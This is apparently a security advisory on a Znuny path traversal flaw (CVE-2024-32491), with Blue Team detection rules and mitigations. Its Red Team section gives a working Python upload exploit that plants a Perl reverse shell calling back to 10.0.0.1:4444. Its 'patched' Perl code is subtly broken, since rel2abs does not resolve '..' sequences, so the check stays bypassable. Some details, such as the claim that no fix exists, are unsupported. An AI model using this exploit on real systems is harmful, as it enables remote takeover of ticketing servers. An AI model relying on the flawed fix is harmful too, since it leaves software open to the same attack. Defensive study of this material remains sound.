CVE-2024-32491

Executive Summary

CVE-2024-32491 is a critical path traversal vulnerability in Znuny and Znuny LTS (versions 6.0.31 through 6.5.7 and 7.0.1 through 7.0.16). A logged-in user can upload a file to an arbitrary writable location by manipulating an AJAX request and traversing paths. If the uploaded file is placed in a publicly accessible web directory, arbitrary code execution is possible. This vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

Znuny is a Perl-based open-source ticketing system. The vulnerability affects the core application and is not related to any specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Znuny should treat this as a critical supply chain risk due to the lack of a patch and the potential for remote code execution.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the vulnerability description, a reasonable estimate is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker must be logged in.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data disclosure.
• Integrity (I): High (H) – Arbitrary code execution can modify data.
• Availability (A): High (H) – Arbitrary code execution can disrupt service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Znuny. A logged-in user can send a crafted AJAX request that includes path traversal sequences (e.g., ../) in the filename or upload path parameter. The application fails to properly sanitize or validate the destination path, allowing the file to be written to an arbitrary location on the filesystem.

If the attacker chooses a location that is publicly accessible via the web server (e.g., the web root or a directory with execute permissions), they can upload a malicious script (e.g., a Perl CGI script or a PHP file if PHP is enabled) and then execute it by accessing it via the web server.

The attack flow:

1. Attacker logs in to Znuny.
2. Attacker intercepts or crafts an AJAX request for file upload.
3. Attacker modifies the destination path to include ../ sequences to escape the intended upload directory.
4. Attacker uploads a malicious file (e.g., shell.pl) to a publicly accessible directory.
5. Attacker accesses the uploaded file via the web server, triggering code execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current production code. The fix would involve:

• Input Validation: Strictly validate the destination path to ensure it is within the intended upload directory.
• Path Canonicalization: Resolve the path to its canonical form and check that it starts with the allowed base directory.
• Access Controls: Ensure that uploaded files are not placed in directories with execute permissions.

Vulnerable Code Example (Perl):

my $upload_path = $param{'UploadPath'};
my $filename = $param{'Filename'};
my $full_path = $upload_path . '/' . $filename;
open(my $fh, '>', $full_path) or die "Cannot open file: $!";
print $fh $file_content;
close($fh);

Patched Code Example (Perl):

use File::Spec;
my $upload_path = $param{'UploadPath'};
my $filename = $param{'Filename'};
my $full_path = File::Spec->catfile($upload_path, $filename);
$full_path = File::Spec->rel2abs($full_path);
my $allowed_base = File::Spec->rel2abs('/var/www/znuny/var/uploads');
if (index($full_path, $allowed_base) != 0) {
    die "Invalid path";
}
open(my $fh, '>', $full_path) or die "Cannot open file: $!";
print $fh $file_content;
close($fh);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid Znuny user account with file upload permissions.
• Network access to the Znuny web interface.

Exploit Steps:

1. Log in to Znuny.
2. Use a tool like Burp Suite or a custom script to intercept the file upload AJAX request.
3. Modify the request parameters to include path traversal:
   • Change the UploadPath parameter to ../../public (or similar).
   • Change the Filename parameter to shell.pl.
   • Set the file content to a malicious Perl script (e.g., a reverse shell).
4. Send the request.
5. Access the uploaded file via the web server: http://target/znuny/public/shell.pl.

Example Exploit Script (Python):

import requests

target = "http://target/znuny"
session = requests.Session()

# Login
login_data = {"User": "attacker", "Password": "password"}
session.post(f"{target}/index.pl?Action=Login", data=login_data)

# Upload malicious file
upload_url = f"{target}/index.pl?Action=Upload"
payload = {
    "UploadPath": "../../public",
    "Filename": "shell.pl"
}
files = {
    "File": ("shell.pl", "#!/usr/bin/perl\nuse Socket;$i='10.0.0.1';$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};", "text/plain")
}
session.post(upload_url, data=payload, files=files)

# Execute
response = session.get(f"{target}/public/shell.pl")
print(response.text)

Blue Team

Detection Steps:

1. Monitor file upload requests for path traversal patterns (e.g., ../, ..\\).
2. Check web server logs for unusual file access patterns (e.g., accessing files in unexpected directories).
3. Implement file integrity monitoring on critical web directories.
4. Restrict write permissions to the web root and ensure uploaded files are stored outside the web root.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri=*/index.pl?Action=Upload*
| rex field=uri "UploadPath=(?<upload_path>[^&]+)"
| where match(upload_path, "\.\.")
| table _time, src_ip, user, upload_path, uri

Indicators of Compromise (IOCs)

• File Paths: Any file written outside the intended upload directory (e.g., /var/www/znuny/var/uploads/).
• Network Traffic: AJAX requests to /index.pl?Action=Upload with UploadPath containing ../.
• Web Server Logs: Entries showing access to files in unexpected directories (e.g., /public/shell.pl).
• File Hashes: Hashes of known malicious files uploaded via this vulnerability (e.g., reverse shells).

Example IOC (YARA Rule):

rule Znuny_Path_Traversal_Upload {
    meta:
        description = "Detects path traversal in Znuny file upload requests"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $traversal = "../"
        $upload_action = "Action=Upload"
    condition:
        $upload_action and $traversal
}

Detection Engineering

YARA Rule

rule Znuny_Path_Traversal_Upload {
    meta:
        description = "Detects path traversal in Znuny file upload requests"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $traversal = "../"
        $upload_action = "Action=Upload"
    condition:
        $upload_action and $traversal
}

Sigma Rule

title: Znuny Path Traversal File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Znuny file upload requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "Action=Upload"
        cs-uri-query|contains: "../"
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Znuny Path Traversal File Upload"; flow:to_server; content:"Action=Upload"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If possible, disable the file upload functionality until a patch is available.
2. Restrict Web Server Permissions: Ensure the web server does not have execute permissions on directories where uploaded files are stored.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal patterns in the UploadPath parameter.

Long-Term Fix:

• Apply input validation and path canonicalization as described in the "Vulnerable vs. Patched Code" section.
• Monitor the Znuny vendor for an official patch and apply it as soon as it is released.

Workaround:

• Move the upload directory outside the web root and use a script to serve files securely (e.g., via a download script that validates the file path).

Valters IT